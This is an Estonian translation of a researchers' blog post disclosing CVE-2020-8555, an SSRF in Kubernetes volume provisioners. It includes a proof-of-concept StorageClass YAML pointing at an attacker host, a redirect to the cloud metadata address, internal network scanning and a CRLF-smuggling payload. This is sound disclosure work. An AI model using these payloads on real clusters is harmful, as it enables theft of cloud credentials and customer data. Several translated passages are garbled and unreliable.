{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"Kui teema ei puuduta ainult Kubernetes'e haavatavust\u2026","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>M\u00e4rkus t\u00f5lke kohta.<\/b>: artikli autorid r\u00e4\u00e4givad p\u00f5hjalikult, kuidas nad suutsid leida haavatavuse <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> Kuberneteses. Kuigi algselt n\u00e4gi see v\u00e4lja mitte v\u00e4ga ohtlikuna, osutus selle kriitilisus koos teiste teguritega m\u00f5nede pilveteenuste pakkujate puhul maksimaalseks. Tehtud t\u00f6\u00f6 eest premeeris mitmed organisatsioonid heldelt spetsialiste.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Kui teema ei puuduta ainult Kubernetes&#039;e haavatavust\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Kes me oleme<\/h2>\n<p>\nMeie oleme kaks Prantsuse k\u00fcberturbeuurijat, kes avastasid koos haavatavuse Kuberneteses. Meie nimed on Brice Augras ja Christophe Hauquiert, aga paljudes Bug Bounty platvormides oleme tuntud kui Reeverzax ja Hach vastavalt:<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 Kubernetes'e arhitekt Nokia's.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>Mis juhtus?<\/h2>\n<p>\nSee artikkel on meie viis r\u00e4\u00e4kida sellest, kuidas tavaline uurimisprojekt muutus ootamatult k\u00f5ige p\u00f5nevamaks seikluseks bugide jahil (v\u00e4hemalt hetkel).<\/p>\n<p>Kuidas te ilmselt teate, on bugide jahimeestel paar m\u00e4rkimisv\u00e4\u00e4rset omadust:<\/p>\n<ul>\n<li> nad elavad pitsade ja \u00f5lle peal;<\/li>\n<li> nad t\u00f6\u00f6tavad siis, kui k\u00f5ik teised magavad.<\/li>\n<\/ul>\n<p>\nMeie ei ole nende reeglite erand: tavaliselt kohtume n\u00e4dalavahetustel ja veedame unetuks muutvaid h\u00e4kkimis\u00f6id. Aga \u00fcks selline \u00f6\u00f6 l\u00f5ppes \u00fcsna ebatavaliselt.<\/p>\n<p>Alguses plaanisime kohtuda, et arutada osalemist <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> j\u00e4rgmisel p\u00e4eval. R\u00e4\u00e4kides Kubernetes'e turvalisusest hallatavates teenusekeskkondades, meenutasime vana ideed SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) ja otsustasime proovida kasutada seda r\u00fcnnakuskeemina.<\/p>\n<p>Kell 11 \u00f5htul alustasime uurimist\u00f6\u00f6dega ja l\u00e4ksime magama varakult hommikul, v\u00e4ga rahuldava tulemusega. Just nende uuringute t\u00f5ttu sattusime MSRC Bug Bounty programmi ja t\u00f6\u00f6tasime v\u00e4lja \u00f5iguste eskaleerimise eksploidimise.<\/p>\n<p>M\u00f6\u00f6dusid n\u00e4dalad\/kuud ja meie ootamatud tulemused andsid meile \u00fche k\u00f5rgeima preemia Ajaloo Azure Cloud Bug Bounty - lisaks sellele, mille me saime Kuberneteselt!<\/p>\n<p>Meie uurimisprojekti alusel avaldas Kubernetes Product Security Committee <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>N\u00fc\u00fcd soovime v\u00f5imalikult palju jagada teavet leitud haavatavuse kohta. Loodame, et hindate leidmist ja jagate tehnilisi detaile teiste infosec kogukonna liikmetega!<\/p>\n<p>Nii et siin on meie lugu\u2026<\/p>\n<h2>Kontekst<\/h2>\n<p>\nKuidas Kubernetes t\u00f6\u00f6tab pilvehallatavas keskkonnas, et m\u00f5ista maksimaalselt toimunu t\u00e4hendust, vaatame k\u00f5igepealt.<\/p>\n<p>Kui loote Kubernetes klastrite egmendi sellises keskkonnas, vastutab tavaliselt halduskihi t\u00f6\u00f6 eest pilveteenuse pakkuja.<\/p>\n<p><img decoding=\"async\" alt=\"Kui teema ei puuduta ainult Kubernetes&#039;e haavatavust\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Halduskiht asub pilvepakkuja perimeetris, samas kui Kubernetes s\u00f5lmed asuvad kliendi perimeetris.<\/i><\/p>\n<p>D\u00fcnaamiliseks mahute m\u00e4\u00e4ramiseks kasutatakse mehhanismi, mis pakub neid d\u00fcnaamiliselt v\u00e4listest salvestusvaradest ja seondub PVC-ga (persistent volume claim, st s\u00e4ilitusn\u00f5ue).<\/p>\n<p>Seega, p\u00e4rast seda, kui PVC on loodud ja seotud StorageClass'iga K8s klastris, v\u00f5tab edasised meetmed mahu pakkumine \u00fcle kube\/cloud controller manager (t\u00e4pne nimi s\u00f5ltub v\u00e4ljaandest). <i>(<b>M\u00e4rkus t\u00f5lke kohta.<\/b>: Lisainfot CCM kohta, kasutades \u00fche pilveteenuse pakkuja rakenduse n\u00e4idet, oleme juba kirjutanud. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">siin<\/a><\/noindex>.)<\/i><\/p>\n<p>Kubernetes toetab mitmeid provisioner'e, millest enamik on integreeritud <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">orkestri tuumikusse,<\/a><\/noindex>, samas kui teised hallatakse t\u00e4iendavate provisioner'ite kaudu, mis asuvad klastris pod'ides.<\/p>\n<p>Oma uurimises keskendusime mahute m\u00e4\u00e4ramise sisemisele mehhanismile, mida illustreeritakse allpool:<\/p>\n<p><img decoding=\"async\" alt=\"Kui teema ei puuduta ainult Kubernetes&#039;e haavatavust\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Kubernetes'i sisseehitatud provisioner'it kasutades toimub d\u00fcnaamiline mahukohandamine<\/i><\/p>\n<p>Kokkuv\u00f5ttes, kui Kubernetes on juurutatud hallatavas keskkonnas, vastutab controller manager'i t\u00f6\u00f6 eest pilveteenuse pakkuja, kuid mahu loomise p\u00e4ring (number 3 \u00fclaltoodud skeemis) lahkub pilveteenuse pakkuja sisev\u00f5rgust. Siin muutub olukord t\u00f5eliselt huvitavaks!<\/p>\n<h2>R\u00fcnnaku stsenaarium<\/h2>\n<p>\nSelles jaotises r\u00e4\u00e4gime, kuidas kasutasime eespool mainitud t\u00f6\u00f6voogu ja saime juurdep\u00e4\u00e4su pilveteenuse pakkuja sisemistele ressurssidele. Samuti n\u00e4itame, kuidas teatud toiminguid teostada \u2013 n\u00e4iteks hankida sisemised autentimisteated v\u00f5i t\u00f5sta \u00f5igusi.<\/p>\n<p>\u00dcks lihtne manipulatsioon (sel juhul Service Side Request Forgery) aitas saavutada juurdep\u00e4\u00e4su klientide keskkonnast v\u00e4lja erinevate pilotu teenuse pakkujate K8s klastrites.<\/p>\n<p>Oma uurimustes keskendume GlusterFS provisioner'ile. Kuigi edasine tegevus on kirjeldatud sellises kontekstis, on sama haavatavuse all ka Quobyte, StorageOS ja ScaleIO.<\/p>\n<p><img decoding=\"async\" alt=\"Kui teema ei puuduta ainult Kubernetes&#039;e haavatavust\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Mahtude d\u00fcnaamilise pakkumise mehhanismi \u00e4rakasutamine<\/i><\/p>\n<p>L\u00e4henedes salvestusklasside anal\u00fc\u00fcsile <b>GlusterFS<\/b> Go keeles kliendi l\u00e4htekoodis me <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">m\u00e4rgati<\/a><\/noindex>, et esimese HTTP-p\u00e4ringu (3), mis saadeti mahtu luues, l\u00f5ppu kasutaja URL-is parameetrina <code>resturl<\/code> sama teave, mis tavalisele konteinerile. <code>\/volumes<\/code>.<\/p>\n<p>Otsustasime selle lisatee eemaldada, lisades <code>#<\/code> parameetris <code>resturl<\/code>. See on esimene YAML-konfiguratsioon, mida kasutasime \"poolpimedate\" SSRF-haavatavuse testimiseks <i>(lisateavet poolpimedate v\u00f5i half-blind SSRF kohta v\u00f5ib leida n\u00e4iteks <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">siin<\/a><\/noindex> \u2014 toimetaja m\u00e4rkus)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nSeej\u00e4rel kasutasime Kubernetes klastrite kaugjuhtimiseks binaarfaili <b>kubectl<\/b>. \u00dcldiselt v\u00f5imaldavad pilveteenuse pakkujad (Azure, Google, AWS jne) selle t\u00f6\u00f6riista kasutamiseks mandaate hankida.<\/p>\n<p>Selle t\u00f5ttu \u00f5nnestus meil rakendada oma \"eriline\" fail. Kube-controller-manager sooritas l\u00f5pptulemusena HTTP-p\u00e4ringu:<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Kui teema ei puuduta ainult Kubernetes&#039;e haavatavust\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>R\u00fcnnaku seisukohalt<\/i><\/p>\n<p>Varsti p\u00e4rast seda suutsime ka saada HTTP-vastuse sihtserverilt \u2014 l\u00e4bi k\u00e4skude <code>describe pvc<\/code> v\u00f5i <code>get events<\/code> kubectlis. Ja t\u00f5epoolest: see Kubernetesi draiver on vaikimisi liiga s\u00f5nakas oma hoiatuste\/veateadete osas...<\/p>\n<p>Siin on n\u00e4ide lingist <code>https:\/\/www.google.fr<\/code>, mis on seadistatud parameetrina <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# v\u00f5i v\u00f5ite kasutada ka kubectl get events<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Kui teema ei puuduta ainult Kubernetes&#039;e haavatavust\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nSellise l\u00e4henemise raames olime piiratud p\u00e4ringutega, mis olid <b>HTTP POST<\/b> ja ei saanud vastuse kehast sisu, kui tagastatud kood oli <b>201<\/b>. Seet\u00f5ttu otsustasime teha t\u00e4iendavaid uuringuid ja laiendasime seda h\u00e4kkimisskeemi uute l\u00e4henemistega.<\/p>\n<h2>Meie uuringute evolutsioon<\/h2>\n<p><\/p>\n<ul>\n<li> Edasij\u00f5udnud stsenaarium nr 1: 302. suunamise kasutamine v\u00e4lisest serverist HTTP meetodi muutmiseks, et leida paindlikum viis sisemiste andmete kogumiseks.<\/li>\n<li> Edasij\u00f5udnud stsenaarium nr 2: LAN-i skaneerimise ja sisemiste ressursside avastamise automatiseerimine.<\/li>\n<li> Edasene stsenaarium nr 3: HTTP CRLF + smuggling ('salajaste p\u00e4ringute' kasutamine) kohandatud HTTP p\u00e4ringute loomiseks ja kube-controller'i logidest andmete hankimiseks.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Tehnilised spetsifikatsioonid<\/h3>\n<p><\/p>\n<ul>\n<li> Uuringutes kasutati Azure Kubernetes Service (AKS) Kubernetes versiooniga 1.12 North Europe piirkonnas.<\/li>\n<li> \u00dclaltoodud stsenaariumid viidi l\u00e4bi Kubernetes'i viimastel v\u00e4ljaannetel, v\u00e4lja arvatud kolmas stsenaarium, kuna see n\u00f5udis Kubernetes'i, mis on kompileeritud Golang versiooniga \u2264 1.12.<\/li>\n<li> R\u00fcndaja v\u00e4line server \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>T\u00e4psem stsenaarium \u21161: HTTP POST-p\u00e4ringu \u00fcmbersuunamine GET-iks ja konfidentsiaalsete andmete saamine<\/h3>\n<p>\nAlgne meetod oli t\u00e4iustatud r\u00fcndaja serveri seadistamisega selleks, et tagastada <b>302 HTTP Retcode<\/b>, et konverteerida POST-p\u00e4ring GET-p\u00e4ringuks (samm 4 skeemil):<\/p>\n<p><img decoding=\"async\" alt=\"Kui teema ei puuduta ainult Kubernetes&#039;e haavatavust\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nEsimene p\u00e4ring (3), mis p\u00e4rineb kliendilt <b>GlusterFS<\/b> (Controller Manager), on t\u00fc\u00fcbiga POST. J\u00e4rgides j\u00e4rgmisi samme, suudame selle muuta GET-iks:<\/p>\n<ul>\n<li> Parameetrina <code>resturl<\/code> StorageClass'is on m\u00e4\u00e4ratud <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> L\u00e4bip\u00e4\u00e4s <code>https:\/\/attacker.com\/redirect.php<\/code> vastab HTTP olekukoodiga 302 koos j\u00e4rgmise Location Header'iga: <code>http:\/\/169.254.169.254<\/code>. See v\u00f5ib olla mis tahes muu sisemine ressurss \u2014 antud juhul kasutatakse \u00fcmbersuunamislinki ainult n\u00e4itena.<\/li>\n<li> Vaikimisi <b>net\/http teek<\/b> Golang suunab p\u00e4ringu ja konverteerib POST-i GET-iks 302 olekukoodiga, mille tulemuseks on, et sihitud ressurss saab HTTP GET p\u00e4ringu.<\/li>\n<\/ul>\n<p>\nHTTP-vastuse keha lugemiseks tuleb teha <code>describe<\/code> PVC objekti:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc xxx<\/code><\/pre>\n<p>\nSiin on n\u00e4ide HTTP-vastusest JSON-formaadis, mille suutsime saada:<\/p>\n<p><img decoding=\"async\" alt=\"Kui teema ei puuduta ainult Kubernetes&#039;e haavatavust\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nLeitud haavatavuse v\u00f5imalused olid sel hetkel piiratud j\u00e4rgmiste p\u00f5hjuste t\u00f5ttu:<\/p>\n<ul>\n<li> V\u00f5imetus lisada HTTP-pealkirju v\u00e4ljastatud p\u00e4ringusse.<\/li>\n<li> V\u00f5imetus teha POST-p\u00e4ringut parameetritega kehas (nii on mugav k\u00fcsida v\u00f5tme v\u00e4\u00e4rtust etcd eksemplarilt, mis t\u00f6\u00f6tab <b>2379<\/b> portil, kui kasutatakse kr\u00fcpteerimata HTTP-d).<\/li>\n<li> V\u00f5imetus saada vastuse keha sisu, kui staatusekood oli 200 ja vastusel ei olnud JSON Content-Type'i.<\/li>\n<\/ul>\n<p><\/p>\n<h3>T\u00e4psem stsenaarium \u21162: kohaliku v\u00f5rgu skaneerimine<\/h3>\n<p>\nSeda meetodit half-blind SSRF kasutati seej\u00e4rel pilveteenuse pakkuja sisev\u00f5rgu skaneerimiseks ja erinevate kuulamisserverite (Metadata eksemplar, Kubelet, etcd jne) k\u00fcsitlemiseks vastuste p\u00f5hjal <b>kube controller'i<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"Kui teema ei puuduta ainult Kubernetes&#039;e haavatavust\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nEsmalt m\u00e4\u00e4rati Kubernetes'i komponentide standardne kuulamisportide (8443, 10250, 10251 jne) loetelu ning seej\u00e4rel tuli skaneerimisprotsess automatiseerida.<\/p>\n<p>N\u00e4htes, et see ressursside skaneerimise meetod on v\u00e4ga spetsiifiline ja ei ole \u00fchilduv klassikaliste skannerite ja SSRF-t\u00f6\u00f6riistadega, otsustasime luua oma bash-skripti t\u00f6\u00f6tajad, mis automatiseerivad kogu protsessi.<\/p>\n<p>N\u00e4iteks, et kiiremini skaneerida 172.16.0.0\/12 sisev\u00f5rgu vahemikku, k\u00e4ivitasime samal ajal 15 t\u00f6\u00f6tajat. \u00dclaltoodud IP vahemik valiti ainult n\u00e4itena ja v\u00f5ib olla muudetud konkreetse teenuse pakkuja IP vahemikule.<\/p>\n<p>\u00dche IP-aadressi ja \u00fche pordi skannimiseks tuleb teha j\u00e4rgmist:<\/p>\n<ul>\n<li> eemaldada eelmisel korral kontrollitud StorageClass;<\/li>\n<li> eemaldada eelmine kontrollitud Persistent Volume Claim;<\/li>\n<li> muuta v\u00e4\u00e4rtusi IP ja Port <code>sc.yaml<\/code>;<\/li>\n<li> luua StorageClass uue IP ja pordiga;<\/li>\n<li> luua uus PVC;<\/li>\n<li> skannimise tulemuste hankimiseks PVC describe kaudu.<\/li>\n<\/ul>\n<p><\/p>\n<h3>T\u00e4psem stsenaarium nr 3: CRLF-s\u00fcst + HTTP-smuggling Kubernetes'i \"vanades\" versioonides<\/h3>\n<p>\nKui lisaks sellele pakkuja pakkus klientidele vanu K8s-klastrite versioone <b>ja<\/b> avatakse neile kube-controller-manager'i logide juurde, muutub efekt veelgi m\u00e4rgatavamaks.<\/p>\n<p>R\u00fcndajale on t\u00f5eliselt palju mugavam muuta oma \u00e4ran\u00e4gemise j\u00e4rgi HTTP-p\u00e4ringuid, mis on suunatud t\u00e4ieliku HTTP-vastuse saamisele.<\/p>\n<p><img decoding=\"async\" alt=\"Kui teema ei puuduta ainult Kubernetes&#039;e haavatavust\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nSelle viimase stsenaariumi rakendamiseks pidid olema t\u00e4idetud j\u00e4rgmised tingimused:<\/p>\n<ul>\n<li> Kasutajal peab olema juurdep\u00e4\u00e4s kube-controller-manager'i logidele (nagu n\u00e4iteks Azure LogInsights).<\/li>\n<li> Kubernetes'i klaster peab kasutama Golangi versiooni alla 1.12.<\/li>\n<\/ul>\n<p>\nMe k\u00e4ivitasime kohalikku keskkonda, mis imiteerib andmevahetust Go-klient GlusterFS ja vale sihtserveri vahel (hetkel hoidume PoC avaldamisest).<\/p>\n<p>Leiti <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">haavatavus<\/a><\/noindex>, mis puudutas Golangi versioone alla 1.12 ja v\u00f5imaldas h\u00e4kkeritel l\u00e4bi viia HTTP smuggling\/CRLF r\u00fcnnakuid.<\/p>\n<p>Koondades \u00fclaltoodud half-blind SSRF <b>koos<\/b> selle juurde, saime saata p\u00e4ringuid oma maitse j\u00e4rgi, sealhulgas asendada pealkirju, HTTP meetodeid, parameetreid ja andmeid, mida kube-controller-manager seej\u00e4rel t\u00f6\u00f6tles.<\/p>\n<p>Siin on n\u00e4ide t\u00f6\u00f6tavast \"p\u00fc\u00fcgikarpidest\" parameetris <code>resturl<\/code> StorageClass, mis ellu kutsub sarnase r\u00fcnnaku stsenaariumi:<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1rnConnection: keep-\nalivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET \/pods? HTTP\/1.1rnHost: 172.31.X.1:10255rnrn<\/code><\/pre>\n<p>\nTulemuseks on viga <b>unsolicited response<\/b>, misabout, misabout, misabout kontrolli logidesse. T\u00e4nu vaikimisi sissetulevusele salvestatakse sinna ka vastava HTTP-s\u00f5numi sisu.<\/p>\n<p><img decoding=\"async\" alt=\"Kui teema ei puuduta ainult Kubernetes&#039;e haavatavust\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nSee oli meie k\u00f5ige tulemuslikum \"p\u00fc\u00fcnis\" t\u00f5endite kontseptsiooni raames.<\/p>\n<p>Kasutades sellist l\u00e4henemist, suutsime teostada m\u00f5ned j\u00e4rgmistest r\u00fcnnakutest erinevate haldava k8s pakkujate klastrites: \u00f5iguste k\u00f5rgendamine metadata-instantside autentimistunnuste kaudu, DoS juhtme abil (\u0161ifreerimata) HTTP-p\u00e4ringutega master-instantides etcd ja nii edasi.<\/p>\n<h2>M\u00f5jud<\/h2>\n<p>\nKubernetes'e ametlikus avalduses avastatud SSRF- haavatavuse kohta anti sellele hinnang <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. Kui arvestada ainult Kubernetes'e perimeetri haavatavust, kvalifitseeritakse integriteedi vektor <i>(integrity vector)<\/i> kui <b>None<\/b>.<\/p>\n<p>Siiski, v\u00f5imalike tagaj\u00e4rgede hindamine hallatavas teenuse keskkonnas (ja see oli meie uurimise k\u00f5ige huvitavam osa!) sundis meid haavatavust \u00fclekvalifitseerima hinnangule <b>Kriitiline CVSS 10\/10<\/b> paljude jaotajate jaoks.<\/p>\n<p>Allpool on t\u00e4iendav teave, mis aitab m\u00f5ista, millest l\u00e4htusime v\u00f5imalike tagaj\u00e4rgede hindamisel pilvekeskkondades:<\/p>\n<h3>Integriteet<\/h3>\n<p><\/p>\n<ul>\n<li> Remote Command Execution saamnienie esimeseid sisemisi autentimistunnuseid.<\/li>\n<li> \u00dcksikuid \u00fclaltoodud stsenaariume kasutades IDORi (Insecure Direct Object Reference) meetodiga teiste ressursside, mis leiti lokaalses v\u00f5rgus.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Privaatsus<\/h3>\n<p><\/p>\n<ul>\n<li> Liikumine k\u00fclgede vahel <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">t\u00e4nu varastatud pilve autentimistunnustele (n\u00e4iteks metadata API).<\/a><\/noindex> Teabe kogumine lokaalsest v\u00f5rgust skaneerimisega (SSH versioonide, HTTP-serveri versioonide jms m\u00e4\u00e4ramine).<\/li>\n<li> Teabe kogumine instantside ja infrastruktuuri kohta sisemiste APIde k\u00fcsimise kaudu, nagu metadata API (<\/li>\n<li> Klientide andmete vargus pilve autentimistunnuste kaudu.<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> K\u00f5ik ekspluateerimise stsenaariumid, mis on seotud r\u00fcnnakuvectoritega<\/li>\n<\/ul>\n<p><\/p>\n<h3>Saadavus<\/h3>\n<p>\nintegriteedi (integrity) <b>, v\u00f5ivad olla kasutamiseks h\u00e4vitavate tegevuste jaoks ja p\u00f5hjustada, et klientide perimeetri (v\u00f5i m\u00f5ne muu) master-instantid oleksid k\u00e4tte saamata.<\/b>, v\u00f5ivad olla kasutatud h\u00e4vitavateks eesm\u00e4rkideks ning v\u00f5ivad p\u00f5hjustada, et kliendi perimeetri (v\u00f5i m\u00f5ne muu) meistriteenused muutuvad k\u00e4ttesaamatuks.<\/p>\n<p>Kuna olime K8s-i hallatud keskkonnas ja hindasime m\u00f5ju s\u00fcsteemi terviklikkusele, v\u00f5ib ette kujutada mitmeid stsenaariume, mis v\u00f5iksid m\u00f5jutada k\u00e4ttesaadavust. N\u00e4iteks v\u00f5ib tuua andmebaasi etcd rikke v\u00f5i kriitilise API Kubernetes'i k\u00f5ne tegemise.<\/p>\n<h2>Ajatelg<\/h2>\n<p><\/p>\n<ul>\n<li> 6. detsember 2019: teade tuvastatud haavatavusest MSRC Bug Bounty'le.<\/li>\n<li> 3. jaanuar 2020: kolmas osapool teavitas Kubernetes'i arendajaid, et t\u00f6\u00f6tame turvaprobleemiga. Ja palus arvestada SSRF-i sisemise (in-core) haavatavusena. P\u00e4rast seda esitasime \u00fcldise aruande tehniliste detailidega probleemi allika kohta.<\/li>\n<li> 15. jaanuar 2020: esitasime Kubernetes'i arendajatele tehnilised ja \u00fcldised aruanded nende p\u00e4ringu p\u00f5hjal (HackerOne platvormi kaudu).<\/li>\n<li> 15. jaanuar 2020: Kubernetes'i arendajad teatasid meile, et half-blind SSRF + CRLF s\u00fcstimine varasemate v\u00e4ljundite jaoks peetakse in-core haavatavuseks. L\u00f5petasime kohe teiste teenusepakkujate perimeetrite anal\u00fc\u00fcsi: p\u00f5hjuse uurimisega tegelema hakkas K8s'i meeskond.<\/li>\n<li> 15. jaanuar 2020: HackerOne kaudu saadi MSRC-lt preemia.<\/li>\n<li> 16. jaanuar 2020: Kubernetes'i PSC (Product Security Committee) tunnustas haavatavust ja palus selle saladuses hoida kuni m\u00e4rtsi keskpaigani, arvestades suurt arvu potentsiaalseid ohvreid.<\/li>\n<li> 11. veebruar 2020: saadud preemia Google VRP-lt.<\/li>\n<li> 4. m\u00e4rts 2020: HackerOne kaudu saadi preemia Kubernetes'lt.<\/li>\n<li> 15. m\u00e4rts 2020: algselt planeeritud avalik avalikustamine viibiti COVID-19 olukorra t\u00f5ttu.<\/li>\n<li> 1. juuni 2020: Kubernetes'i ja Microsofti \u00fchisavaldus haavatavusest.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> Me joome \u00f5lut ja s\u00f6\u00f6me pitsat \ud83d\ude42<\/li>\n<li> Me avastasime in-core haavatavuse Kubernetes'es, kuigi me ei kavatsenud seda teha.<\/li>\n<li> Me tegime lisauuringut erinevate pilveteenuste klastrites ning suutsime suurendada haavatavuse tekitatud kahju, et saada lisaks suurep\u00e4raseid boonuseid.<\/li>\n<li> Selles artiklis leiate palju tehnilisi \u00fcksikasju. Me arutame neid meeleldi teiega (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> Selgus, et k\u00f5ikv\u00f5imalikud formaliteedid ja aruannete koostamine v\u00f5tavad kauem aega, kui oodati.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Viidatud lingid<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Google'i grupp kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang issue #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.S. t\u00f5lkijalt<\/h2>\n<p>\nLugege ka meie blogist:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">Kubernetes'es vigade jaht on ametlikult alanud<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">Pod'ist v\u00e4ljumine Kubernetes'is logide monteerimise kaudu<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ Kubernetesi turvalisuse t\u00f6\u00f6riista<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>Allikas: 